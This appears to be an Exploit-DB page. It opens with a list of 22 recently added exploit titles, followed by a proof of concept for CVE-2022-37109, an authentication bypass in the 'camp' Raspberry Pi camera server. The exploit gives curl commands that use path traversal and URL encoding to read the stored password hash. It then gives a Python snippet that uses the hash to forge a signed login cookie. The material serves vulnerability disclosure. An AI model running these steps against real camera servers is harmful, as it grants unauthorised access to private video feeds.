79023d1f9c
22 changes to exploits/shellcodes/ghdb Password Manager for IIS v2.0 - XSS DLink DIR 819 A1 - Denial of Service D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution Abantecart v1.3.2 - Authenticated Remote Code Execution Bus Pass Management System 1.0 - Cross-Site Scripting (XSS) Composr-CMS Version <=10.0.39 - Authenticated Remote Code Execution Employee Performance Evaluation System v1.0 - File Inclusion and RCE GuppY CMS v6.00.10 - Remote Code Execution Human Resources Management System v1.0 - Multiple SQLi ImpressCMS v1.4.3 - Authenticated SQL Injection Lavalite v9.0.0 - XSRF-TOKEN cookie File path traversal MODX Revolution v2.8.3-pl - Authenticated Remote Code Execution NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi Online Diagnostic Lab Management System v1.0 - Remote Code Execution (RCE) (Unauthenticated) PHPGurukul Online Birth Certificate System V 1.2 - Blind XSS SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Translatepress Multilinugal WordPress plugin < 2.3.3 - Authenticated SQL Injection Yoga Class Registration System v1.0 - Multiple SQLi NVFLARE < 2.1.4 - Unsafe Deserialization due to Pickle _camp_ Raspberry Pi camera server 1.0 - Authentication Bypass System Mechanic v15.5.0.61 - Arbitrary Read/Write
35 lines
No EOL
1.4 KiB
Text
35 lines
No EOL
1.4 KiB
Text
# Exploit Title: "camp" Raspberry Pi camera server 1.0 - Authentication Bypass
|
|
# Date: 2022-07-25
|
|
# Exploit Author: Elias Hohl
|
|
# Vendor Homepage: https://github.com/patrickfuller
|
|
# Software Link: https://github.com/patrickfuller/camp
|
|
# Version: < bf6af5c2e5cf713e4050c11c52dd4c55e89880b1
|
|
# Tested on: Ubuntu 20.04
|
|
# CVE : CVE-2022-37109
|
|
|
|
"camp" Raspberry Pi camera server Authentication Bypass vulnerability
|
|
|
|
https://medium.com/@elias.hohl/authentication-bypass-vulnerability-in-camp-a-raspberry-pi-camera-server-477e5d270904
|
|
|
|
1. Start an instance of the "camp" server:
|
|
python3 server.py --require-login
|
|
|
|
2. Fetch the SHA-512 password hash using one of these methods:
|
|
|
|
curl http://localhost:8000/static/password.tx%74
|
|
|
|
OR
|
|
|
|
curl http://localhost:8000/static/./password.txt --path-as-is
|
|
|
|
OR
|
|
|
|
curl http://localhost:8000/static/../camp/password.txt --path-as-is
|
|
|
|
3. Execute the following python snippet (replace the hash with the hash you received in step 2).
|
|
|
|
from tornado.web import create_signed_value
|
|
import time
|
|
print(create_signed_value("5895bb1bccf1da795c83734405a7a0193fbb56473842118dd1b66b2186a290e00fa048bc2a302d763c381ea3ac3f2bc2f30aaa005fb2c836bbf641d395c4eb5e", "camp", str(time.time())))
|
|
|
|
4. In the browser, navigate to http://localhost:8000/, add a cookie named "camp" and set the value to the result of the script from step 3, then reload the page. You will be logged in. |